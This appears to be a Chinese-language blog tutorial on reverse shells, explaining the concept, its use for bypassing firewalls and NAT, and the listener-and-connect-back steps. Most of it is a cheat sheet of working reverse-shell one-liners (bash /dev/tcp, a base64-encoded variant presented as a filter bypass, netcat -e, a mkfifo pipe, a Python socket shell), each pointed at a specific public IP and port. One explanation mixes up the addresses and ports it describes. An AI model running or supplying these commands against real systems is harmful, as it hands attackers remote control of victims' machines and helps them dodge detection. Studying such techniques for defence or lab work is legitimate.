本文最后更新于 2025-04-25T15:32:23+08:00
什么是反弹shell
反弹shell(Reverse Shell)是一种常见的攻击方式,通常用于远程控制目标系统。它与传统的“反向连接”(Reverse Connection)相似,通过允许目标系统主动连接回攻击者的机器,从而绕过防火墙或NAT(网络地址转换)等网络安全措施。
反弹 shell 是一种网络攻击技术,它允许攻击者在远程目标机器上执行一个命令,使得目标机器主动向攻击者的机器发起网络连接,将一个命令行 shell(如 bash、cmd 等)提供给攻击者,从而让攻击者能够控制目标机器的 shell,就好像直接在目标机器上操作一样。
什么时候想要使用反弹shell
当我们在后续操作中需要使用到提权,或者命令执行失败,执行命令没有回显的时候,我们都需要想到使用反弹shell,以便我们进行后续的操作
反弹shell的前提是要有一个VPS
反弹shell工作原理
通常情况下,我们会从本地计算机发起连接去访问远程服务器,这是正向连接,比如使用 SSH、HTTP 等协议。然而,在某些情况下,目标机器可能处于防火墙或网络地址转换(NAT)之后,外部无法直接访问,或者目标机器有严格的入站连接限制,这时正向连接就无法实现。
在传统的shell远程访问中,攻击者的机器通常会主动连接到目标机器上。反弹shell与之相反,反弹shell利用反向连接的概念,在目标机器上执行一个命令,该命令会主动向攻击者控制的服务器发起连接,目标机器主动连接到攻击者的机器,并向攻击者的机器发送一个shell(命令行接口)。攻击者通过这个shell可以绕过防火墙和NAT限制,从而可以执行命令、上传、下载文件等操作,实现对目标机器的远程控制。
反弹shell具体步骤
- 攻击者:首先,攻击者启动一个监听程序(如 netcat),等待目标机器的连接。
- 目标机器:目标机器(被攻击的系统)会主动向攻击者机器发起连接,并将一个shell连接回攻击者
- 一旦连接建立,攻击者就可以通过该连接来控制目标机器
反弹shell过程
- 攻击者端:攻击者使用一个监听程序(如
netcat
)等待来自目标机器的连接。
例如:攻击者在自己的机器上运行一下命令来监听一个端口(如2333
端口)
- 目标端:目标机器发起一个连接会攻击者,连接后会得到一个shell。
例如:目标机器上使用netcat
发起反向连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| ---------------------------------------- bash -i >& /dev/tcp/47.122.75.126/2333 0>&1 /* 使用 Bash 实现反弹 shell(适用于Linux系统) bash -i:打开一个交互式的 bash shell。 >&:将标准输出和标准错误输出重定向。 /dev/tcp/47.122.75.126/2333:利用 bash 的特殊文件表示,尝试建立一个到 47.122.75.126 的 2333 端口的TCP连接。 0>&1:将标准输入重定向到标准输出,这样可以让攻击者通过建立的TCP连接与 bash shell 进行交互。 */ ---------------------------------------- echo bash -i >& /dev/tcp/47.122.75.126/2333 0>&1 ---------------------------------------- echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNzUuMTI2LzIzMzMgMD4mMQ== | base64 -d| /bin/bash /* //base64编码绕过 */ ---------------------------------------- nc 47.122.75.126 2333 -e /bin/bash /* 2333 是监听的端口,-e /bin/bash 表示通过这个连接执行 /bin/bash 命令,即启动一个 shell */ ---------------------------------------- nc -e /bin/bash 47.122.75.126 2333 /* 对于一些较旧的nc版本可以使用。 nc(Netcat):一个强大的网络工具,可用于各种网络操作 -e:指定连接成功后执行的程序,这里将 /bin/bash 作为程序,即一旦与 47.122.75.126 的 2333 端口建立连接,就会执行 /bin/bash 并将其作为shell提供给对方。 */ ---------------------------------------- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 2333 >/tmp/f /* 对于较新的 nc 版本,可能不支持 -e 选项,可以用这个命令来代替 rm /tmp/f;mkfifo /tmp/f:删除 /tmp/f ,并创建一个命令管道 /tmp/f cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 4444 >/tmp/f:使用管道将 cat 从命名管道读取的数据送给 bash -i,将 bash 的标准错误输出重定向到标准输出,再通过 nc 发送给 47.122.75.126 的 4444 端口,同时 nc 接收的数据重定向回命名管道,形成一个双向通信通道。 */ ---------------------------------------- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.122.75.126",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' /* 使用 python 实现反弹shell import socket,subprocess,os:导入所需的模块,socket 用于网络连接,subprocess 用于执行外部命令,os 用于文件描述符操作。 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 IPv4 的 TCP 套接字。 s.connect(("47.122.75.126",2333)):连接到 47.122.75.126 的 2333 端口。 os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2):将套接字的文件描述符复制到标准输入、标准输出和标准错误输出,实现通过套接字的输入输出功能。 p=subprocess.call(["/bin/bash","-i"]):执行一个交互式的 bash shell。 */ ----------------------------------------
|